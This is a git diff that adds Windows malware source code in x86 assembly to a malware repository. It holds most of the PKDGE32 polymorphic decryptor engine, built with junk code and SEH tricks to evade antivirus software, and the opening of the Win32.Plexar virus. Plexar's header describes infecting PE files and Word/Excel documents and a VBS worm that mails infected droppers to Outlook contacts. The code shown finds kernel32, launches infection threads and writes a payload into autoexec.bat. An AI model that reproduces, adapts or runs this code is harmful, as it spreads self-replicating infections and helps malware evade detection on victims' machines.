(6)+;+; As we can see, I used Rx, Ry, Rz in the code above, instead of EAX, EBX, ...+; this means the we can use random registerz in the decrypt code. The engine+; can select random registerz to generate each instruction. Meanwhile, the+; first 2 instructionz are permutable, so the engine will put the 2 instruc-+; tionz in a random order. Also, we know that some of the instructionz can be+; replaced by other instructionz that performed the same. For example, we can+; use PUSH/POP to replace MOV XXX/XXX, etc. Last but important, is, the engine+; will insert junk codez after each instructionz.+;+; One more thing, the engine setup a SEH frame before the decrypt code in order+; to fuck some AVsoftz. And of course, there're also junk codez between these+; instructionz.+;+; The SEH frame's like the following code:+;+; start: call setup_seh ; (1)+; mov esp,[esp+8] ; (2)+; jmp end_seh ; (3)+; setup_seh: xor Rx,Rx ; (4)+; push dword [fs:Rx] ; (5)+; mov [fs:Rx],esp ; (6)+; dec dword [Rx] ; (7)+; jmp start ; (8)+; end_seh: xor Ry,Ry ; (9)+; pop dword [fs:Ry] ; (10)+; pop Rz ; (11)+;+; Then comes the real decrypt code (generated by this engine).+;+;+; How to use it?+; --------------+;+; This engine can compile with FASM, TASM and MASM, etc.+;+; When using FASM we can:+;+; decryptor: times 40h db 90h+; crypt_code: ...+; crypted_size = $-crypt_code+; rng_seed dd ?+;+; gen_decrytpor: mov edi,decryptor+; mov esi,rng_seed+; mov ebx,crypt_code+; mov ecx,crypted_size+; mov edx,9ah+; call __pkdge32+;+; When using TASM or MASM we should:+;+; decryptor db 40h dup (90h)+; crypt_code: ...+; crypted_size = $-crypt_code+; rng_seed dd ?+;+; gen_decrytpor: mov edi,offset decryptor+; mov esi,offset rng_seed+; mov ebx,offset crypt_code+; mov ecx,crypted_size+; mov edx,9ah+; call __pkdge32+;+; One more feature, the engine returns the address of the code2decrypt field in+; the decryptor, so we can fix this value after generating the decryptor. This+; means we can replace the code which to be decrypt anywhere after generating+; the decrypt code. We can replace our code which to be decrypted just after+; the decryptor, without padding so many NOPz between them :P+;+; We could code like this:+;+; col_code: times crypted_size+200h db 0+;+; gen_decrytpor: mov edi,col_code+; mov esi,rng_seed+; mov ecx,crypted_size+; mov ebx,12345678h+; mov edx,12345678h+; call __pkdge32+; fix_address: mov esi,edi+; xchg eax,edi+; stosd+; xchg esi,edi+; copy_code: mov esi,crypt_code+; mov ecx,crypted_size+; rep movsb+;+; Well, enjoy it!+;+;+; Copyright+; ---------+;+; (c) 2004. No rightz reserved. Use without permission :P.+;+++;+; __pkdge32 procedure+; ===================+;+;+; Description+; -----------+;+; This is the main procedure of the engine. It controlz the whole generation+; process, including SEH setup, instruction generation, junk code insertion,+; etc.+;+;+; Parameterz and Return Value+; ---------------------------+;+; Input:+; ecx --- decrypt buffer size (counter in bytez)+; edx --- decrypt key+; edi --- pointz to the buffer to save decryptor+; ebx --- pointz to the buffer where saved the encrypted code+; esi --- pointz to the RNG seed buffer+;+; Output:+; edi --- the end of the decryptor+; eax --- pointz to the address of the code which will be decrypted in+; the decryptor, this means we can place the code which will be+; decrypted anywhere by fixing the value pointed by EAX+;++__pkdge32: pushad+ xor ebp,ebp+ xchg esi,edi ; initialize the RNG seed+ call __randomize ; ...+ xchg esi,edi ; ...++;+; First, we select four random registerz for later use. These four registerz+; are all different+;++ xor ebx,ebx ; used to save Rw, Rz, Rx, Ry+ call pkdg_sel_reg+ or bl,al+ call pkdg_sel_reg+ shl ebx,4+ or bl,al+ call pkdg_sel_reg+ shl ebx,4+ or bl,al+ call pkdg_sel_reg+ shl ebx,4+ or bl,al++;+; We setup a SEH frame, then we raise an exception and run the following codez.+; This action may fuck some of the AVsoftz.+;++ push edi+ xor eax,eax ; some junk code+ call __pkdge32_junk ; ...+ mov al,0e8h ; seh instruction 1+ stosb ; ...+ stosd ; addr 1, no matter what, fix l8r+ push edi ; save addr1 to fix+ xor eax,eax ; some junk code+ call __pkdge32_junk ; ...+ mov eax,0824648bh ; seh instruction 2+ stosd ; ...+ xor eax,eax ; some junk code+ call __pkdge32_junk ; ...+ mov al,0ebh ; seh instruction 3+ stosb ; ...+ stosb ; addr 2, no matter what, fix l8r+ push edi ; save addr2 to fix+ mov eax,[esp+4] ; fix addr1+ xchg edi,eax ; ...+ sub eax,edi ; ...+ sub edi,4 ; ...+ stosd ; ...+ add edi,eax ; ...+ xor eax,eax ; some junk code+ call __pkdge32_junk ; ...+ mov ah,bl ; seh instruction 4+ and ah,7 ; ...+ or eax,0c031h ; ...+ push ebx ; ...+ and ebx,7 ; ...+ shl ebx,11 ; ...+ or eax,ebx ; ...+ pop ebx ; ...+ stosw ; ...+ xor eax,eax ; some junk code+ call __pkdge32_junk ; ...+ mov eax,0ff64h ; seh instruction 5+ stosw ; ...+ mov al,bl ; ...+ and eax,7 ; ...+ or al,30h ; ...+ stosb ; ...+ xor eax,eax ; some junk code+ call __pkdge32_junk ; ...+ mov eax,8964h ; seh instruction 6+ stosw ; ...+ mov al,bl ; ...+ and eax,7 ; ...+ or al,20h ; ...+ stosb ; ...+ xor eax,eax ; some junk code+ call __pkdge32_junk ; ...+ mov ah,bl ; seh instruction 7+ and eax,700h ; ...+ or eax,08ffh ; ...+ stosw ; ...+ xor eax,eax ; some junk code+ call __pkdge32_junk ; ...+ mov al,0ebh ; seh instruction 8+ stosb ; ...+ mov eax,[esp+8] ; ...+ sub eax,edi ; ...+ dec eax ; ...+ stosb ; ...+ xor eax,eax ; some junk code+ call __pkdge32_junk ; ...+ pop eax ; fix addr2+ xchg eax,edi ; ...+ sub eax,edi ; ...+ dec edi ; ...+ stosb ; ...+ add edi,eax ; ...+ mov ah,bh ; seh instruction 9+ and eax,700h ; ...+ or eax,0c031h ; ...+ push ebx ; ...+ and ebx,700h ; ...+ shl ebx,3 ; ...+ or eax,ebx ; ...+ pop ebx ; ...+ stosw ; ...+ xor eax,eax ; some junk code+ call __pkdge32_junk ; ...+ mov eax,8f64h ; seh instruction 10+ stosw ; ...+ mov al,bh ; ...+ and eax,7 ; ...+ stosb ; ...+ xor eax,eax ; some junk code+ call __pkdge32_junk ; ...+ mov al,bh ; seh instruction 11+ and al,7 ; ...+ or al,58h ; ...+ stosb ; ...+ xor eax,eax ; some junk code+ call __pkdge32_junk ; ...+ add esp,8 ; balance the stack++;+; Now, generate the first two instructionz with junk codez between them, and+; permute the two instructionz in a random order.+;++ mov ecx,2+ call __random_rdtsc+ or ecx,ecx+ jz pkdg_gen_12+ call pkdg_gen_1+ call pkdg_gen_2+ jmp pkdg_gen_f2f+pkdg_gen_12: call pkdg_gen_2+ call pkdg_gen_1++;+; The last step, we generate the last four instructionz with junk codez in them+; these four instructionz must in the same order, but the registerz they use+; are still random+;++pkdg_gen_f2f: mov esi,[esp+4] ; restore ESI+ push edi ; save loop address++ push esi+ mov eax,ebx ; xor byte [Rw],Imm8+ shr eax,12 ; ...+ and al,7 ; ...+ mov esi,[esp+28] ; ...+ call __pkdge32_gen_xor_reg_imm+ pop esi+ xor eax,eax+ call __pkdge32_junk++ mov eax,ebx ; inc Rw+ shr eax,12 ; ...+ and eax,7 ; ...+ or al,40h+ stosb+ xor eax,eax+ call __pkdge32_junk++ mov eax,ebx ; dec Rz+ shr eax,4 ; ...+ and eax,7 ; ...+ or al,48h ; ...+ stosb ; ...++ pop eax ; jnz decrypt_loop+ sub eax,edi ; get delta+ dec eax ; ...+ dec eax ; ...+ push eax+ mov al,75h ; write opcode+ stosb ; ...+ pop eax+ stosb ; write operand+ xor eax,eax+ call __pkdge32_junk++ mov [esp],edi ; save new EDI+ popad+ ret++pkdg_gen_1: mov esi,[esp+20] ; get offset code2decrypt+ mov eax,ebx ; get Rw+ shr eax,12 ; ...+ call pkdge32_gen12+ mov [esp+32],eax ; save offset of code2decrypt+ ret+pkdg_gen_2: mov esi,[esp+28] ; get decrypt_size+ mov eax,ebx ; get Rz+ shr eax,4 ; ...+ and eax,0fh ; ...+ call pkdge32_gen12+ ret++;+; Using this function to generate the first two instructionz of the decryptor,+; which are permutable+;++pkdge32_gen12: push ecx+ push eax ; save mask+ mov ecx,2 ; determine using MOV REG/IMM+ call __random_rdtsc ; or PUSH IMM/POP REG+ or eax,eax+ pop eax ; restore mask+ pop ecx+ jz pkdg_g123_0+ call __pkdge32_gen_mov_reg_imm+ push edi+ xor eax,eax+ mov esi,[esp+16]+ call __pkdge32_junk+ pop eax+ sub eax,4+ ret+pkdg_g123_0: call __pkdge32_gen_pushimm_popreg+ push eax+ xor eax,eax+ mov esi,[esp+16]+ call __pkdge32_junk+ pop eax+ sub eax,4+ ret++;+; This procudure selectz the random register Rw, Rx, Ry, Rz. The function will+; make EBX to the following structure:+;+; 31 15 0+; +-----+-----+-----+-----+------+------+------+------++; | 0 | 0 | 0 | 0 | Rw | Ry | Rz | Rx |+; +-----+-----+-----+-----+------+------+------+------++;++pkdg_sel_reg: mov eax,[esp+8] ; select random register+ mov edx,8 ; ...+ call __random ; ...+ or al,al+ jz pkdg_sel_reg ; don't use EAX+ cmp al,4+ jz pkdg_sel_reg ; don't use ESP+ cmp al,5+ jz pkdg_sel_reg ; don't use EBP+ or al,8 ; DWORD type++ push ebx+ and ebx,0fh+ cmp bl,al ; R == Rx ?+ pop ebx+ jz pkdg_sel_reg++ push ebx+ shr ebx,4+ and ebx,0fh+ cmp bl,al ; R == Rz ?+ pop ebx+ jz pkdg_sel_reg++ push ebx+ shr ebx,8+ cmp bl,al ; R == Ry ?+ pop ebx+ jz pkdg_sel_reg++ push ebx+ shr ebx,12+ cmp bl,al ; R == Rw ?+ pop ebx+ jz pkdg_sel_reg+ ret+++;+; __pkdge32_test_regmask procedure+; ================================+;+;+; Description+; -----------+;+; All the register mask in the engine (PKDGE32) measure up this formula:+; bit 2~0 specifies the register mask, bit 8 and bit 3 specifies the type of+; the operand+;+; +-------+-------+--------++; | bit 8 | bit 3 | type |+; +-------+-------+--------++; | x | 0 | byte |+; +-------+-------+--------++; | 0 | 1 | dword |+; +-------+-------+--------++; | 1 | 1 | word |+; +-------+-------+--------++;+; This function test this mask, if it specified a WORD type, the function STOSB+; an accessorial opcode 66H. If it specified a BYTE or DWORD type, function do+; nothing but return+;+;+; Parameterz and Return Value+; ---------------------------+;+; Input:+; eax --- register mask+; edi --- pointz to the buffer to save the instructionz+;+; Output:+; Nothing+;++__pkdge32_test_regmask:+ test ah,1+ jz pkdg_trm_ret+ push eax+ mov al,66h+ stosb+ pop eax+pkdg_trm_ret: ret+++;+; __pkdge32_gen_mov_reg_imm procedure+; ===================================+;+;+; Description+; -----------+;+; This function generatez MOV REG,IMM type of instructionz.+;+;+; Parameterz and Return Value+; ---------------------------+;+; Input:+; eax --- register mask+; edi --- pointz to the buffer to save the instructionz+; esi --- immediate number (source operand)+;+; Output:+; Generate a instruction in the buffer EDI pointed, EDI pointz to the new+; position in the buffer+;++__pkdge32_gen_mov_reg_imm:+ call __pkdge32_test_regmask+ push esi+ or al,0b0h ; generate opcode+ stosb ; ...+ xchg eax,esi ; EAX get the operand+ shr esi,4+ jc pkdg_gmri_dw ; word/dword ? byte ?+ stosb ; byte+ pop esi+ ret+pkdg_gmri_dw: shr esi,5+ pop esi+ jc pkdg_gmri_w+ stosd ; dword+ ret+pkdg_gmri_w: stosw ; word+ ret+++;+; __pkdge32_gen_pushimm_popreg procedure+; ======================================+;+;+; Description+; -----------+;+; This function generatez PUSH IMM/POP REG group instructionz.+;+;+; Parameterz and Return Value+; ---------------------------+;+; Input:+; eax --- register mask+; edi --- pointz to the buffer to save the instructionz+; esi --- immediate number (source operand)+;+; Output:+; Generate a instruction in the buffer EDI pointed, EDI pointz to the new+; position in the buffer+;++__pkdge32_gen_pushimm_popreg:+ call __pkdge32_test_regmask+ push ecx+ mov ecx,esi ; save IMM in ecx+ xchg esi,eax+ test esi,8 ; test BYTE or WORD/DWORD+ jz pkdg_gpp_b+ mov al,68h ; push WORD/DWORD+ stosb ; write opcode+ xchg eax,ecx ; get IMM+ test esi,100h ; test WORD or DWORD+ jnz pkdg_gpp_w+ stosd ; write operand+ jmp pkdg_gpp_pop+pkdg_gpp_w: stosw+ jmp pkdg_gpp_pop+pkdg_gpp_b: mov al,6ah ; push BYTE+ stosb ; write opcode+ mov al,cl ; get IMM+ stosb ; write operand+pkdg_gpp_pop: push edi+ xor eax,eax+ push esi+ mov esi,[esp+28]+ call __pkdge32_junk+ pop esi+ call __pkdge32_test_regmask+ xchg esi,eax+ or al,58h ; generate POP opcode+ stosb ; write pop REG opcode+ pop eax+ pop ecx+ ret+++;+; __pkdge32_gen_xor_reg_imm procedure+; ===================================+;+;+; Description+; -----------+;+; This function generatez XOR [REG],IMM type of instructionz.+;+;+; Parameterz and Return Value+; ---------------------------+;+; Input:+; eax --- register mask+; esi --- the immediate number+; edi --- pointz to the buffer to save the instructionz+;+; Output:+; Generate a instruction in the buffer EDI pointed, EDI pointz to the new+; position in the buffer+;++__pkdge32_gen_xor_reg_imm:+ call __pkdge32_test_regmask+ test al,1000b+ jnz pkdg_gxri_dw+ and eax,7 ; register mask+ xchg al,ah+ or eax,3080h+ stosw+ xchg eax,esi+ stosb+ ret+pkdg_gxri_dw: push eax+ and eax,7 ; register mask+ xchg al,ah+ or eax,3081h+ stosw+ xchg eax,esi+ pop esi+ shr esi,9+ jc pkdg_gxri_w+ stosd ; dword+ ret+pkdg_gxri_w: stosw ; word+ ret+++;+; __pkdge32_junk procedure+; ========================+;+;+; Decription+; ----------+;+; This is the junk code generator. It generatez length-spceified instructionz,+; dummy jumpz and anti-static-debugging opcodez.+;+; This procedure use EAX as junk register in order to generate instructionz+; like:+;+; mov eax,21343ab7h+; shr eax,8+; or:+; push eax+; rol eax,1+; pop eax+; etc.+;+; It generatez dummy jumpz such as:+;+; call @1+; junk+; jmp @3+; @2: junk+; ret+; @1: junk+; jmp @2+; @3: junk+;+; It also generatez anti-static-debugging opcodez such as:+;+; jmp @0+; db e9h+; @@:+;+;+; Parameterz and Return Value+; ---------------------------+;+; Input:+; eax --- If eax equalz to zero, the function generatez random length of+; instructionz, if eax is nonzero, the function generatez a+; certain length of instruction.+; esi --- pointz to the RNG seed buffer+; edi --- pointz to the buffer to save the instructionz+;+; Output:+; Nothing but junk codez in the buffer that EDI specified+;++__pkdge32_junk: pushad+ xor ebx,ebx+ xchg esi,ebp ; let EBP hold the seed ptr.+ or eax,eax ; EAX containz number from 0~7+ jnz pkdg_js ; 0~5: gen. 0~5 bytez of junk codez+ mov edx,7 ; 6: generate dummy jumpz+ mov eax,ebp+ call __random ; ...+pkdg_js: or eax,eax ; 0: nothing to do+ jz pkdg_j_ret ; just go back+ xchg ecx,eax ; let ECX hold that number+ cmp ecx,6+ jz pkdg_j_dj++;+; Generate certain length simpile instructionz+;++pkdg_j_gclsi: mov edx,ecx+ mov eax,ebp+ call __random+ or eax,eax+ jz pkdg_j_g1b+ dec eax+ jz pkdg_j_g2b+ dec eax+ jz pkdg_j_g3b+ dec eax+ dec eax+ jz pkdg_j_g5b+ jmp pkdg_j_gclsi++;+; Generate 5-byte instruction+;++pkdg_j_g5b: call pkdg_j_5+ db 0b8h ; mov eax,imm32+ db 05h ; add eax,imm32+ db 15h ; adc eax,imm32+ db 2dh ; sub eax,imm32+ db 1dh ; sbb eax,imm32+ db 3dh ; cmp eax,imm32+ db 0a9h ; test eax,imm32+ db 0dh ; or eax,imm32+ db 25h ; and eax,imm32+ db 35h ; xor eax,imm32+pkdg_j_5: pop esi+ mov eax,ebp+ mov edx,10+ call __random+ add esi,eax+ movsb+ mov eax,ebp+ mov edx,0fffffffch+ call __random+ inc eax+ inc eax+ stosd+ sub ecx,5 ; decrease counter+ jz pkdg_j_rptr+ jmp pkdg_j_gclsi++;+; Generate 3-byte instruction+;++pkdg_j_g3b: call pkdg_j_3+ db 0c1h,0e0h ; shl eax,imm8+ db 0c1h,0e8h ; shr eax,imm8+ db 0c1h,0c0h ; rol eax,imm8+ db 0c1h,0c8h ; ror eax,imm8+ db 0c1h,0d0h ; rcl eax,imm8+ db 0c1h,0d8h ; rcr eax,imm8+ db 0c0h,0e0h ; shl al,imm8+ db 0c0h,0e8h ; shr al,imm8+ db 0c0h,0c0h ; rol al,imm8+ db 0c0h,0c8h ; ror al,imm8+ db 0c0h,0d0h ; rcl al,imm8+ db 0c0h,0d8h ; rcr al,imm8+ db 0ebh,01h ; anti-static-debugging instr.+pkdg_j_3: pop esi+ mov eax,ebp+ mov edx,13+ call __random+ shl eax,1 ; EAX *= 2+ add esi,eax+ movsw+ cmp eax,24+ jge pkdg_j3_anti+ mov eax,ebp+ mov edx,14+ call __random+ inc eax+ inc eax+pkdg_j_3f: stosb+ sub ecx,3 ; decrease counter+ jz pkdg_j_rptr+ jmp pkdg_j_gclsi+pkdg_j3_anti: mov eax,ebp+ mov edx,10h+ call __random+ add al,70h+ jmp pkdg_j_3f++;+; Generate 2-byte instruction+;++pkdg_j_g2b: call pkdg_j_2+ db 89h ; mov eax,reg+ db 01h ; add eax,reg+ db 11h ; adc eax,reg+ db 29h ; sub eax,reg+ db 19h ; sbb eax,reg+ db 39h ; cmp eax,reg+ db 85h ; test eax,reg+ db 09h ; or eax,reg+ db 21h ; and eax,reg+ db 31h ; xor eax,reg+ db 0b0h ; mov al,imm8+ db 04h ; add al,imm8+ db 14h ; adc al,imm8+ db 2ch ; sub al,imm8+ db 1ch ; sbb al,imm8+ db 3ch ; cmp al,imm8+ db 0a8h ; test al,imm8+ db 0ch ; or al,imm8+ db 24h ; and al,imm8+ db 34h ; xor al,imm8+pkdg_j_2: pop esi+ mov eax,ebp+ mov edx,20+ call __random+ add esi,eax+ movsb ; write the opcode+ cmp eax,10+ jge pkdg_j2_imm8+ mov eax,ebp+ mov edx,8+ call __random+ shl eax,3 ; dest. operand+ or al,0c0h ; ...+ jmp pkdg_j2_f+pkdg_j2_imm8: mov eax,ebp+ mov edx,100h+ call __random+pkdg_j2_f: stosb+ dec ecx ; decrease counter+ dec ecx ; ...+ jz pkdg_j_rptr+ jmp pkdg_j_gclsi++;+; Generate 1-byte instruction+;++pkdg_j_g1b: call pkdg_j_1+ db 90h ; nop+ db 0f8h ; clc+ db 0f9h ; stc+ db 40h ; inc eax+ db 48h ; dec eax+ db 37h ; aaa+ db 3fh ; aas+ db 98h ; cbw+ db 0fch ; cld+ db 0f5h ; cmc+ db 27h ; daa+ db 2fh ; das+ db 9fh ; lahf+ db 0d6h ; salc+pkdg_j_1: pop esi+ mov eax,ebp+ mov edx,14+ call __random+ add esi,eax+ movsb ; write the code+ dec ecx ; decrease counter+ or ecx,ecx+ jnz pkdg_j_gclsi+pkdg_j_rptr: mov [esp],edi+pkdg_j_ret: popad+ ret++;+; Generate dummy jumpz. the generation formula show in the decription of the+; __pkdge32_junk procedure+;++pkdg_j_dj: mov al,0e8h ; call xxxxxxxx+ stosb ; ...+ stosd ; addr1, no matter what, fix l8r+ push edi+ mov eax,ebp ; some more junx+ mov edx,6 ; ...+ call __random ; ...+ mov esi,ebp ; ...+ call __pkdge32_junk ; ...+ mov al,0ebh ; jmp xx+ stosb ; ...+ stosb ; addr2, no matter what, fix l8r+ push edi+ mov eax,ebp ; some more junx+ mov edx,6 ; ...+ call __random ; ...+ mov esi,ebp ; ...+ call __pkdge32_junk ; ...+ mov al,0c3h ; ret+ stosb ; ...+ mov eax,[esp+4] ; fix addr1+ xchg eax,edi ; ...+ sub eax,edi ; ...+ sub edi,4 ; ...+ stosd ; ...+ add edi,eax ; ...+ mov eax,ebp ; some more junx+ mov edx,6 ; ...+ call __random ; ...+ mov esi,ebp ; ...+ call __pkdge32_junk ; ...+ mov al,0ebh ; jmp xx+ stosb ; ...+ mov eax,[esp] ; ...+ sub eax,edi ; ...+ dec eax ; ...+ stosb ; ...+ pop eax ; fix addr2+ xchg eax,edi ; ...+ sub eax,edi ; ...+ dec edi ; ...+ stosb ; ...+ add edi,eax ; ...+ pop eax ; pop a shit+ mov eax,ebp ; some more junx+ mov edx,6 ; ...+ call __random ; ...+ mov esi,ebp ; ...+ call __pkdge32_junk ; ...+ jmp pkdg_j_rptrdiff --git a/Malwares/Win32/win32 Engines/assembly/Virus.Win32.Plexar.asm b/Malwares/Win32/win32 Engines/assembly/Virus.Win32.Plexar.asmnew file mode 100644index 0000000..074f70b--- /dev/null+++ b/Malwares/Win32/win32 Engines/assembly/Virus.Win32.Plexar.asm@@ -0,0 +1,3192 @@++; ��������������������������������������������������������������������������+; �< Win32.Plexar >�+; Designed by LiteSys in Venezuela, South America+;+; PE/DOC/XLS/OUTLOOK Multithreaded Polymorphic Direct Action infector.+;+; Welcome to Plexar, my latest code.+;+; It infects PE files by incrementing the last section, I don't overwrite+; .reloc section, it's preferible to let it alone. In fact, this virus+; avoids infecting some AV or Win32 files that should never be infected.+; This is done by CRC32 comparation.+;+; Infects Word and Excel documents by dropping (thru VBScript) a macro+; module-infectant virus in the normal template and personal.xls that is+; capable of dropping an infected PE file to the Windows directory and then+; running it.+;+; Distributes through Electronic Mail by dropping a VBS worm capable of+; sending infected droppers to every email address in the Outlook address+; book. Sorry but I didn't have any time to code a decent MAPI worm =(.+;+; The Poly engine is another lame table-driven engine written by me =), no+; anti-aver intentions were the reason to write that poly engine, just to+; conceal the code a little. So I think it doesn't desire an explanation+; because the garbage is very lame.+;+; It runs the different routines (word infection, vbs worm, direct action)+; in different threads. As I always said, I don't optimize my code too much.+;+; The payload is very funny and if you're from Venezuela I hope you+; appreciate it. Consists in dropping a simple com file that displays+; some silly stuff in spanish, it runs on autoexec.bat but won't display+; the message until the following rule is complied (this is a very+; kewl idea I learnt from Byway ;D):+;+; If Month <= 7: Day = Month^2 / 3 + 4+; If Month >= 8: Day = Month^2 / 5 - 4+;+; So the payload will run on every month (as a coincidence, the formula+; pointed to December 24th :P). It's not destructive so don't blame me.+;+; This virus has lots of bugs, i've corrected many but still there are a+; lot. It was tested under Win95 (4.10.1111), Win98 (4.10.1998), WinME and+; WinNT (4.0/SP4), the virus worked perfectly under those versions. I don't+; know about Win98 SE and Win2K, since I don't have them installed, I have+; the CDs here but i'm a lazy ass and my HD space is totally phuken.+;+; Virus Size = 12kb. Code not commented. Nor even AVP or Norton (with+; their "high heuristic" bloodhound shit) flagged the infected PE baits,+; except from Norton, which flagged the VBS worm.+;+; If you need to contact me you can use both mail addresses: [email protected]+; or [email protected]. Rembember, for decent stuff.+;+; Patria o Muerte: Venceremos.+; LiteSys.+; Venezuela, Julio/Agosto - (c) 2001+; ��������������������������������������������������������������������������++.586+.MODEL FLAT, STDCALL++INCLUDE C:\TOOLS\TASM\INCLUDE\WIN32API.INC+INCLUDE C:\TOOLS\TASM\INCLUDE\WINDOWS.INC++EXTRN ExitProcess:PROC+EXTRN MessageBoxExA:PROC++.DATA++ DEBUG EQU FALSE++ OFS EQU <OFFSET [EBP]>+ BY EQU <BYTE PTR [EBP]>+ WO EQU <WORD PTR [EBP]>+ DWO EQU <DWORD PTR [EBP]>+ RDTSC EQU <DW 310Fh>++ APICALL MACRO APIz+ CALL DWORD PTR [APIz + EBP]+ ENDM++ Numero_Paginas EQU 32h+ K32_W9X EQU 0BFF70000h+ GPA_W9X EQU 0BFF76DACh+ Virus_Tama�o EQU (Termina_Plexar - Empieza_Plexar)++ Titulo DB "Plexar."+ DB Virus_Tama�o / 10000 MOD 10 + 30h+ DB Virus_Tama�o / 01000 MOD 10 + 30h+ DB Virus_Tama�o / 00100 MOD 10 + 30h+ DB Virus_Tama�o / 00010 MOD 10 + 30h+ DB Virus_Tama�o / 00001 MOD 10 + 30h+ DB 00h++ Mensaje DB "Plexar (c) 2001 LiteSys "+ DB "-- Activado."+ DB 00h++ REG_SZ EQU <1>+ HKEY_LOCAL_MACHINE EQU <80000002h>++.CODE++Empieza_Plexar:++ CALL @Delta+ @Delta:+ POP EAX+ XCHG EBP, EAX+ SUB EBP, OFFSET @Delta++ JMP @@1+ DB 00h, 00h, "[PLEXAR]", 00h, 00h+ @@1:++ CALL @SEH_1++ MOV ESP, DWORD PTR [ESP+8h]+ JMP @FueraHost++ @SEH_1:++ XOR EAX, EAX+ PUSH DWORD PTR FS:[EAX]+ MOV FS:[EAX], ESP++ MOV EDI, DWORD PTR [ESP+8h]+ CALL Busca_K32+ CALL Busca_GPA++ LEA ESI, OFS [CreateFileA]+ LEA EDI, OFS [APIs_K32]+ MOV EBX, DWO [KERNEL32]+ CALL Busca_APIs++ LEA EDX, OFS [RewtDir]+ PUSH EDX+ PUSH MAX_PATH+ APICALL GetCurrentDirectoryA+ OR EAX, EAX+ JZ @FueraHost++ IF DEBUG++ PUSH EBP+ CALL Directa++ PUSH EBP+ CALL Worm_VBS++ PUSH EBP+ CALL Infecta_Word++ JMP @FueraHost++ ELSE++ CALL Thread++ ENDIF++ CALL Er_Pailon++ @FueraHost:++ XOR ECX, ECX+ POP DWORD PTR FS:[ECX]+ POP ECX++ PUSH 12345678h+ ORG $-4+ HostBack DD OFFSET Mentira+ RET++; ���������������������������������������������������������������������������++ ; El Thread Principal, carga los otros threads.++ Thread PROC+ PUSHAD++ AND BY [Listo_Directa], 00h++ XOR EAX, EAX+ LEA EBX, OFS [Thread_Directa]+ PUSH EBX+ PUSH EAX+ PUSH EBP+ LEA EBX, OFS [Directa]+ PUSH EBX+ PUSH EAX+ PUSH EAX+ APICALL CreateThread+ MOV DWO [Thread_Directa], EAX+ OR EAX, EAX+ JZ @FinThread++ PUSH 02h+ PUSH EAX+ APICALL SetThreadPriority++ @RevDirect:+ PUSH -1+ PUSH DWO [Thread_Directa]+ APICALL WaitForSingleObject++ CMP BY [Listo_Directa], 01h+ JNZ @RevDirect++ XOR EAX, EAX+ LEA EBX, OFS [Thread_WormVBS]+ PUSH EBX+ PUSH EAX+ PUSH EBP+ LEA EBX, OFS [Worm_VBS]+ PUSH EBX+ PUSH EAX+ PUSH EAX+ APICALL CreateThread+ MOV DWO [Thread_WormVBS], EAX+ OR EAX, EAX+ JZ @FinThread++ PUSH 02h+ PUSH EAX+ APICALL SetThreadPriority++ XOR EAX, EAX+ LEA EBX, OFS [Thread_IWord]+ PUSH EBX+ PUSH EAX+ PUSH EBP+ LEA EBX, OFS [Infecta_Word]+ PUSH EBX+ PUSH EAX+ PUSH EAX+ APICALL CreateThread+ MOV DWO [Thread_IWord], EAX+ OR EAX, EAX+ JZ @FinThread++ PUSH 02h+ PUSH EAX+ APICALL SetThreadPriority++ PUSH -1+ PUSH TRUE+ LEA EAX, OFS [Thread_WormVBS]+ PUSH EAX+ PUSH 02h+ APICALL WaitForMultipleObjects++ @FinThread:++ POPAD+ RET++ Thread ENDP++; ���������������������������������������������������������������������������++ ; Payload.++ Er_Pailon PROC+ PUSHAD++ CDQ+ PUSH EDX+ PUSH FILE_ATTRIBUTE_NORMAL+ PUSH CREATE_NEW+ PUSH EDX+ PUSH EDX+ PUSH GENERIC_WRITE+ LEA EAX, OFS [CocoFrio]+ PUSH EAX+ APICALL CreateFileA+ MOV DWO [PFHandle], EAX+ INC EAX+ JZ @P_Fin+ DEC EAX+ XCHG EBX, EAX++ XOR EDX, EDX+ PUSH EDX+ LEA EAX, OFS [PTemporal]+ PUSH EAX+ PUSH Largo_PProg+ LEA EAX, OFS [Payload_Prog]+ PUSH EAX+ PUSH EBX+ APICALL WriteFile+ OR EAX, EAX+ JZ @P_Fin++ PUSH DWO [PFHandle]+ APICALL CloseHandle++ CDQ+ PUSH EDX+ PUSH FILE_ATTRIBUTE_NORMAL+ PUSH OPEN_EXISTING+ PUSH EDX+ PUSH EDX+ PUSH GENERIC_WRITE+ LEA EAX, OFS [AutoExec]+ PUSH EAX+ APICALL CreateFileA+ MOV DWO [PFHandle], EAX+ INC EAX+ JZ @P_Fin+ DEC EAX++ CDQ+ PUSH 00000002h+ PUSH EDX+ PUSH EDX+ PUSH EAX+ APICALL SetFilePointer++ CDQ+ PUSH EDX+ LEA EAX, OFS [PTemporal]+ PUSH EAX+ PUSH Largo_CocoFrio-1+ LEA EAX, OFS [CocoFrio]+ PUSH EAX+ PUSH DWO [PFHandle]+ APICALL WriteFile+ OR EAX, EAX+ JZ @P_Fin++ PUSH DWO [PFHandle]+ APICALL CloseHandle++ @P_Fin:++ POPAD+ RET+ Er_Pailon ENDP++; ���������������������������������������������������������������������������++ ; Proceso para buscar la base de KERNEL32++ Busca_K32 PROC++ AND EDI, 0FFFF0000h+ PUSH Numero_Paginas+ POP ECX++ @Compara_K32:++ PUSH EDI++ MOV BX, WORD PTR [EDI]+ OR BX, 03D5Bh ; 5A4D || 3D5B == 7F5F+ SUB BX, 07F5Fh+ JNZ @Incrementa_K32++ ADD EDI, [EDI+3Ch]+ MOV BX, WORD PTR [EDI] ; 4550 && C443 == 4440+ AND BX, 0C443h+ XOR BX, 04440h+ JE @EnK32++ @Incrementa_K32:++ POP EDI++ SUB EDI, 10000h+ LOOP @Compara_K32++ PUSH K32_W9X++ @EnK32:++ POP DWO [KERNEL32]+ RET++ Busca_K32 ENDP++; ���������������������������������������������������������������������������+ DB 5 DUP (90h)++ ; Proceso para buscar a GetProcAddress++ Busca_GPA PROC++ MOV EBX, DWO [KERNEL32]+ MOV EDI, EBX++ ADD EDI, DWORD PTR [EDI+3Ch]+ MOV EDI, DWORD PTR [EDI+78h]+ ADD EDI, EBX+ MOV DWO [Exports], EDI++ MOV ECX, DWORD PTR [EDI+18h]+ DEC ECX++ MOV EDI, DWORD PTR [EDI+20h]+ ADD EDI, EBX++ XOR EAX, EAX++ @BGPA_1:++ MOV ESI, DWORD PTR [EDI]+ ADD ESI, EBX+ PUSH EDI++ PUSH l_GetProcAddress+ POP EDI+ PUSHAD+ CALL CRC32+ CMP EAX, CRC32_GetProcAddress+ POPAD+ POP EDI+ JE @BGPA_2++ INC EAX+ ADD EDI, 4h++ LOOP @BGPA_1++ PUSH GPA_W9X++ JMP @BGPA_3++ 